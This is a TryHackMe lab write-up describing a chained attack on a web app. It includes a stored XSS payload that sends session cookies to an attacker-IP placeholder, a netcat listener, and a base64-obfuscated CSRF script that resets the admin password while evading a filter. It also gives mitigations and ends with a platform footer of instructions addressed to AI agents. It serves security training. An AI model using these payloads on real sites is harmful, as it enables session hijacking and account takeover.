> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/whats-your-name.md).

# What's-your-name

### Overview

* **Platform:** TryHackMe
* **Difficulty:** Medium
* **Focus Areas:** Client-Side Attacks, Web Exploitation, Session Hijacking, CSRF, Source Disclosure
* **Summary of Attack Path:**\
  Initial access was achieved by exploiting a stored XSS vulnerability in the registration form to steal the moderator’s session cookie. After hijacking the moderator session, a second stored XSS in the chat functionality was chained with a CSRF vulnerability to reset the administrator’s password. An alternative path involved enumerating exposed Python source files to recover admin credentials directly.

***

### Reconnaissance

#### Add Host Entries

The application used virtual hosts, so the discovered domains were added to `/etc/hosts`:

```bash
sudo nano /etc/hosts
```

***

#### Nmap Scan

Performed a full TCP service/version scan:

```
nmap -A -sV -sC <TARGET_IP>
```

**Findings**

* **22/tcp** – SSH
* **80/tcp** – HTTP
* **8081/tcp** – Alternate HTTP Service
*

```
![Nmap Scan](https://raw.githubusercontent.com/Ganesha-hk/Tryhackme-ctf-imgs/main/client-side/01-nmap.png)
```

***

#### Root Directory Enumeration

Enumerated the main web root for hidden directories/files:

```
ffuf -u http://worldwap.thm/FUZZ \-w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \-e .php,.html,.js,.bak,.old
```

**Interesting Findings**

* `/public`
* `/api`
* `/phpmyadmin`
*

```
![Root FFUF](https://raw.githubusercontent.com/Ganesha-hk/Tryhackme-ctf-imgs/main/client-side/02-root-ffuf.png)
```

***

#### Enumerate Public HTML Directory

Further enumeration of the `/public/html` path revealed user-facing application pages:

```
ffuf -u http://worldwap.thm/public/html/FUZZ \-w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \-e .php,.html,.js,.bak,.old
```

**Notable Files**

* `register.php`
* `login.php`
* `dashboard.php`
* `upload.php`
*

```
![Public HTML Enumeration](https://raw.githubusercontent.com/Ganesha-hk/Tryhackme-ctf-imgs/main/client-side/03-public-html-ffuf.png)
```

***

### Initial Access

#### Registration Functionality Analysis

Navigating to the registration page:

```
http://worldwap.thm/public/html/register.php
```

The form contained the following fields:

* Username
* Password
* Email
* Name

After registration, the application responded with:

> "You can now pre-register! Your details will be reviewed by the site moderator."

This indicated that submitted registration data would be manually reviewed by a moderator.

![Registration Page](https://raw.githubusercontent.com/Ganesha-hk/Tryhackme-ctf-imgs/main/client-side/04-register-page.png)

***

#### Cookie Security Review

Inspecting browser cookies revealed that the `PHPSESSID` cookie lacked the `HttpOnly` flag.

Because the cookie was not marked HttpOnly, it could be accessed via JavaScript:

```
document.cookie
```

This made session theft possible if JavaScript execution could be achieved.

![Cookie Storage](https://raw.githubusercontent.com/Ganesha-hk/Tryhackme-ctf-imgs/main/client-side/05-cookie-storage.png)

***

#### Stored XSS in Registration Form

Because moderator review was required, user-controlled registration fields were likely rendered in the moderator panel.

Started a listener to capture inbound requests:

```
nc -lvnp 9090
```

Injected the following payload into the **Email** and/or **Name** fields:

```
<img src=x onerror="window.location='http://ATTACKER_IP:9090/?d='+document.cookie">
```

When the moderator reviewed the submission, the payload executed and exfiltrated the moderator’s session cookie.

![Stolen Cookie](https://raw.githubusercontent.com/Ganesha-hk/Tryhackme-ctf-imgs/main/client-side/06-stolen-cookie.png)

***

#### Session Hijacking

After replacing the local `PHPSESSID` cookie with the stolen moderator session:

```
http://login.worldwap.thm/login.php
```

The application authenticated the session as **Moderator**.

***

### Privilege Escalation

#### Moderator Access

Successful moderator access provided the first flag.

![Moderator Dashboard](https://raw.githubusercontent.com/Ganesha-hk/Tryhackme-ctf-imgs/main/client-side/07-moderator-dashboard.png)

***

#### Stored XSS in Chat

The moderator panel contained a chat feature.

Testing with a basic payload confirmed stored XSS:

```
<script>alert(1)</script>
```

This indicated chat messages were rendered unsafely to privileged users.

***

#### CSRF Password Reset via Stored XSS

Analysis of the password reset functionality at:

```
/change_password.php
```

revealed:

* No CSRF protection
* Hidden required parameter:

```
action=execute
```

A malicious chat payload was crafted to force the admin’s browser to reset their password:

```
<script>var xhr = new XMLHttpRequest();xhr.onload = function () {    alert("successful");};xhr.open(    "POST",    atob('aHR0cDovL2xvZ2luLndvcmxkd2FwLnRobS9jaGFuZ2VfcGFzc3dvcmQucGhw'),    true);xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");xhr.send("action=execute&new_password=admin123");</script>
```

**Why Base64 Encoding Was Used**

The backend filtered direct use of:

* `http`
* `https`
* `:`
* `//`

Encoding the URL and decoding it client-side with `atob()` bypassed the filter.

***

#### Admin Login

After the admin viewed the malicious chat message, their password was reset.

Cleared the hijacked moderator cookie and logged in manually:

```
URL: http://login.worldwap.thm/login.phpUsername: adminPassword: admin123
```

***

#### Final Admin Access

Successful login as administrator yielded the final flag.

![Admin Dashboard](https://raw.githubusercontent.com/Ganesha-hk/Tryhackme-ctf-imgs/main/client-side/08-admin-dashboard.png)

***

### Alternative Path — Source Code Disclosure

#### Enumerate Python Files

An alternative attack path involved brute-forcing for exposed Python source files:

```
ffuf -u http://login.worldwap.thm/FUZZ \-w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \-e .py
```

**Discovered Files**

* `admin.py`
* `test.py`

***

#### Source Disclosure

Reviewing `admin.py` revealed hardcoded administrator credentials.

These credentials could be used to log in directly as admin.

![Admin Source Disclosure](https://raw.githubusercontent.com/Ganesha-hk/Tryhackme-ctf-imgs/main/client-side/09-admin-py-source.png)

***

### Flags / Proof

* **Moderator Flag:** Obtained after session hijacking
* **Admin Flag:** Obtained after password reset / direct admin login

***

### Lessons Learned

* Missing `HttpOnly` on session cookies significantly increases XSS impact
* Stored XSS becomes critical when viewed by privileged users
* CSRF vulnerabilities can be chained with XSS for privilege escalation
* Backend filtering is not a substitute for proper sanitization
* Exposed source files can completely undermine authentication controls
* Multiple medium-severity vulnerabilities can combine into full compromise

***

### Mitigation / Defensive Notes

* Mark session cookies as `HttpOnly` and `Secure`
* Sanitize and encode all user-supplied input before rendering
* Implement CSRF tokens on all state-changing actions
* Enforce server-side authorization checks on sensitive actions
* Avoid exposing source code or development files in production
* Validate and sanitize hidden/secondary parameters server-side

***

### Attack Chain Summary

Register User\
↓\
Stored XSS in Registration\
↓\
Steal Moderator Cookie\
↓\
Hijack Moderator Session\
↓\
Stored XSS in Chat\
↓\
CSRF Password Reset\
↓\
Admin Login\
↓\
Capture Final Flag

***

### Conclusion

This room demonstrates how multiple individually moderate vulnerabilities can be chained into full administrative compromise. By combining stored XSS, weak cookie protections, missing CSRF defenses, and source code disclosure, the attacker is able to escalate from unauthenticated user to full administrator access.

### User Disclaimer

This writeup is intended for educational and authorized security training purposes only. All techniques demonstrated were performed within the scope of the TryHackMe lab environment. Do not attempt to replicate these attacks against systems or applications without explicit permission from the owner. Unauthorized testing may be illegal and unethical.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/whats-your-name.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.